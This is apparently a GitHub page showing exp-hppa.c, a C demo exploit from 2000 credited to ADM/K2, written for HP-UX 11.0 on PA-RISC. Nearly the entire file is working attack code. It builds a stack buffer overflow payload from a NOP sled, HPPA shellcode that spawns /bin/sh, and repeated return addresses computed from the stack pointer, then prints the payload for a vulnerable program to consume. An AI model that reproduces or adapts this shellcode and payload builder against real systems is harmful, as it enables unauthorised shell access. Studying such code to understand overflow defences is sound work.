-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathexp-hppa.c
69 lines (56 loc) · 2.16 KB
/
exp-hppa.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/* Copyright (c) 2000 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: HP-UX Demo exploit */
/* Tested under: HP-UX 11.0 */
/* By: K2 */
/* Use: gcc -o exp exp.c */
/* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1200
#define STACK_OFFSET 0
#define EXTRA 400
#define HPPA_NOP 0x800b3902 /* weirdo nop */
u_char hppa_shellcode[] =
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xfe";
u_long get_sp(void)
{
__asm__("copy %sp,%ret0 \n");
}
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + 8];
unsigned long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA;
if(argc > 1) dso+=atoi(argv[1]);
if(argc > 2) xtra+=atoi(argv[2]);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)
*long_p++ = HPPA_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = hppa_shellcode[i];
targ_addr = get_sp() - dso;
for (i = 0; i < xtra /4; i++)
{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}
fprintf(stderr,"Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf),xtra,dso);
printf("%s",buf);
//execl("./vulnerable","vulnerable", buf,(char *) 0);
//perror("execl failed");
return(-1);
}